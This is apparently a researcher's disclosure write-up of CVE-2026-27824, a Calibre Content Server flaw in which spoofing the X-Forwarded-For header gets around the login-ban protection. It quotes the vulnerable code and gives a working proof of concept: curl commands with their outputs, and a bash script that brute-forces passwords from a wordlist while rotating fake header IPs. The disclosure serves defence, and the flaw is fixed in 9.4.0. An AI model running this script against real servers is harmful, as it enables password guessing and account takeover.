> ESC
← Achievements

CVE-2026-27824: Calibre IP Ban Bypass via X-Forwarded-For Spoofing

📅 2026-02-24 📂 Vulnerability Discovery 3 min read CVSS 5.3
CVEAuthentication BypassCalibrePythonBrute Force
CVSS
5.3 MEDIUM
👥Estimated Impact: 25,000+ customers
TL;DR:
IP-based brute-force protection in Calibre's Content Server can be completely bypassed by spoofing the X-Forwarded-For header, allowing unlimited password guessing attempts in versions ≤ 9.3.1.

Summary

Discovered a brute-force protection bypass vulnerability in Calibre's Content Server. The ban mechanism derives its key from both remote_addr and the client-controlled X-Forwarded-For header. Since the header is accepted without any validation or trusted-proxy configuration, an attacker can bypass IP-based bans by simply rotating the header value on each request, rendering the --ban-after and --ban-for protections completely ineffective.

CVE ID: CVE-2026-27824
Advisory: GHSA-vhxc-r7v8-2xrw
CWE: CWE-307 — Improper Restriction of Excessive Authentication Attempts, CWE-346 — Origin Validation Error
Affected Versions: Calibre ≤ 9.3.1
Fixed in: Calibre 9.4.0

Vulnerability Details

X-Forwarded-For read without validation

In src/calibre/srv/http_request.py line 343, the header is accepted unconditionally from any client with no check for whether the request arrived through a trusted reverse proxy:

self.forwarded_for = inheaders.get('X-Forwarded-For')

Ban key includes the spoofable header

In src/calibre/srv/auth.py lines 270–273, the ban key is constructed as a tuple of (remote_addr, forwarded_for). Since forwarded_for comes directly from the client-controlled header, changing it produces a different ban key:

def do_http_auth(self, data, endpoint):
    ban_key = data.remote_addr, data.forwarded_for  # Tuple includes spoofable XFF
    if self.ban_list.is_banned(ban_key):
        raise HTTPForbidden('Too many login attempts',
            log=f'Too many login attempts from: {ban_key if data.forwarded_for else data.remote_addr}')

This means each unique X-Forwarded-For value creates a fresh, unbanned identity:

  • (127.0.0.1, None) — banned after 3 failures
  • (127.0.0.1, "10.0.0.1") — new key, not banned
  • (127.0.0.1, "10.0.0.2") — new key, not banned

The BanList implementation correctly tracks failures per key, but since the key itself is spoofable, the tracking is meaningless.

Proof of Concept

1. Set up an authenticated server

# Create user database
printf '1\ntestuser\ntestpass123\ntestpass123\nn\n4\n' | \
  calibre-server --manage-users --userdb /tmp/calibre-users.db

# Start server with auth and banning (ban after 3 failures, ban for 5 minutes)
calibre-server --port 8091 \
  --enable-auth --userdb /tmp/calibre-users.db \
  --ban-for 5 --ban-after 3 \
  /tmp/calibre-test-library

2. Trigger a ban with 3 failed logins

for i in 1 2 3; do
  curl -s -o /dev/null -w "Attempt $i: %{http_code}\n" \
    --digest -u testuser:wrongpass http://localhost:8091/
done
# Attempt 1: 401
# Attempt 2: 401
# Attempt 3: 401

3. Confirm the ban is active

curl -s -o /dev/null -w "Banned (even with correct password): %{http_code}\n" \
  --digest -u testuser:testpass123 http://localhost:8091/
# Banned (even with correct password): 403

4. Bypass the ban with X-Forwarded-For

curl -s -o /dev/null -w "With XFF bypass: %{http_code}\n" \
  -H "X-Forwarded-For: 10.10.10.10" \
  --digest -u testuser:testpass123 http://localhost:8091/
# With XFF bypass: 200

The ban is immediately bypassed and authentication succeeds.

5. Automated brute-force with unlimited attempts

#!/bin/bash
TARGET="http://localhost:8091/"
USERNAME="testuser"
COUNTER=0

while IFS= read -r password; do
  COUNTER=$((COUNTER + 1))
  FAKE_IP="10.$((COUNTER / 65536 % 256)).$((COUNTER / 256 % 256)).$((COUNTER % 256))"

  CODE=$(curl -s -o /dev/null -w "%{http_code}" \
    -H "X-Forwarded-For: $FAKE_IP" \
    --digest -u "$USERNAME:$password" "$TARGET")

  if [ "$CODE" = "200" ]; then
    echo "[+] Password found: $password (attempt #$COUNTER)"
    exit 0
  fi
done < /path/to/wordlist.txt

This script makes unlimited login attempts without ever being banned, as each attempt uses a different X-Forwarded-For value.

Impact

  • Complete bypass of brute-force protection by rotating the X-Forwarded-For header value on each request
  • Unlimited password guessing against any user account on exposed Calibre servers
  • Username enumeration by observing response differences without being banned
  • The --ban-after and --ban-for options, intended to provide brute-force protection, are rendered completely ineffective

References